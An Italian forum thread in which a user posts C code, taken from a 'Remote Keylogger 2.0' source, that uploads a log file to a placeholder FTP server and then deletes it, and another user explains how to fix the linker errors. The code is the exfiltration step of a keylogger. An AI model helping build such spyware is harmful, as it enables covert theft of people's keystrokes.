Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - PROGRAMMA CHE UPLOAD UN FILE ATTRAVERSO FTP
Forum - C/C++ - PROGRAMMA CHE UPLOAD UN FILE ATTRAVERSO FTP

Avatar
rafdg87 (Normal User)
Newbie


Messaggi: 3
Iscritto: 09/02/2008

Segnala al moderatore
Postato alle 12:23
Sabato, 09/02/2008
Ciao, ho scaricato dal sito il sorgente Remote Keylogger 2.0
di__GiReX__ . a me serviva la parte relativa a uppare un file in rete. tuttavia il mio compilatore mi da un errore. Ecco il codice che io ho usato.:
Codice sorgente - presumibilmente C++

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4. #include <wininet.h>
  5. #define LOGDIR "D:\\Documenti\\Lello\\prova.txt"
  6.  
  7. int main(){
  8.     HINTERNET connessione, sessione_ftp;
  9.  
  10.      connessione = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);
  11.       if(!connessione) {
  12.             printf("\n*** INIZIO CONNESSIONE FALLITO ***\n");
  13.         }
  14.       sessione_ftp = InternetConnect(connessione,"TUO_FTP",INTERNET_DEFAULT_FTP_PORT, "TUO_USERNAME","TUA_PASS", INTERNET_SERVICE_FTP, 0,0 );
  15.       if(!sessione_ftp) {
  16.             printf("\n*** INIZIO SESSIONE FTP FALLITA ***\n");
  17.         }
  18.       if(!FtpPutFile(sessione_ftp, LOGDIR, "prova.txt", INTERNET_FLAG_TRANSFER_BINARY, 0)){
  19.              printf("\n*** INVIO FILE FALLITO ***\n");
  20.            
  21.         }
  22.  
  23.      InternetCloseHandle(sessione_ftp);
  24.      InternetCloseHandle(connessione);
  25.      DeleteFile(LOGDIR);  // SE UPPATO CANCELLO IL FILE
  26. }



e questo e l'errore:


Codice sorgente - presumibilmente Delphi

  1. ---------- Capture Output ----------
  2. > "C:\Borland\BCC55\bin\bcc32.exe" int.c
  3. Borland C++ 5.5.1 for Win32 Copyright (c) 1993, 2000 Borland
  4. int.c:
  5. Warning W8070 int.c 26: Function should return a value in function main
  6. Turbo Incremental Link 5.00 Copyright (c) 1997, 2000 Borland
  7. Error: Unresolved external 'InternetOpenA' referenced from D:\DOCUMENTI\LELLO\KEYLOG\INT.OBJ
  8. Error: Unresolved external 'InternetConnectA' referenced from D:\DOCUMENTI\LELLO\KEYLOG\INT.OBJ
  9. Error: Unresolved external 'FtpPutFileA' referenced from D:\DOCUMENTI\LELLO\KEYLOG\INT.OBJ
  10. Error: Unresolved external 'InternetCloseHandle' referenced from D:\DOCUMENTI\LELLO\KEYLOG\INT.OBJ
  11.  
  12. > Terminated with exit code 1.



come posso risolvere?

PM Quote
Avatar
gantonio (Normal User)
Guru^2


Messaggi: 1532
Iscritto: 09/09/2007

Segnala al moderatore
Postato alle 13:23
Sabato, 09/02/2008
Se leggi bene il primo messaggio

Warning W8070 int.c 26: function should return a value in function main

ti sta dicendo che la funzione main deve restituire un valore (infatti e' dichiarata come int main) e quindi manca un

return 0;

alla fine del programma.

Gli altri messaggi ti indicano che quelle funzioni elencate stanno in una libreria esterna e tu non gli hai detto qual e' ne' dove e' ...

Devi quindi indicare al tuo compilatore che la libreria e' la wininet.lib

PM Quote